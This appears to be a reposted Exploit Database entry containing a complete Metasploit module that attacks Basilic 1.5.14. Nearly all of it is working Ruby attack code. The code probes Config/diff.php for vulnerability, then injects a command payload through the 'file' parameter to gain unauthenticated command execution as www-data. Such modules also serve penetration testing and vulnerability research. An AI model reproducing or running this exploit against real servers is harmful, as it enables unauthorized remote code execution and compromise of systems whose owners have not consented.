Basilic 1.5.14 – ‘diff.php’ Arbitrary Command Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-07-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19631/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
  			'Description'=> %q{
  					This module abuses a metacharacter injection vulnerability in the
  				diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
  				commands as the www-data user account.
  			},
  			'Author' =>
  				[
  					'lcashdollar',
  					'sinn3r',
  					'juan'
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'BID', '54234' ]
  				],
  			'Platform' => ['linux', 'unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet'
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic Target', { }]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 28 2012'
  		))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
  			], self.class)
  	end
  
  
  	def check
  		base = target_uri.path
  		base << '/' if base[-1, 1] != '/'
  
  		sig = rand_text_alpha(10)
  
  		res = send_request_cgi({
  			'uri'=> "/#{base}/Config/diff.php",
  			'vars_get' => {
  				'file' => sig,
  				'new'=> '1',
  				'old'=> '2'
  			}
  		})
  
  		if res and res.body =~ /#{sig}/
  			return Exploit::CheckCode::Vulnerable
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  
  	def exploit
  		print_status("Sending GET request...")
  
  		base = target_uri.path
  		base << '/' if base[-1, 1] != '/'
  
  		res = send_request_cgi({
  				'uri' => "/#{base}/Config/diff.php",
  				'vars_get' => {
  					'file' => "&#{payload.encoded} #",
  					'new'=> '1',
  					'old'=> '2'
  				}
  			})
  
  		if res and res.code == 404 then
  			print_error("404 Basilic not installed or possibly check URI Path.")
  		else
  			vprint_line(res.body) if res
  		end
  
  		handler
  	end
  end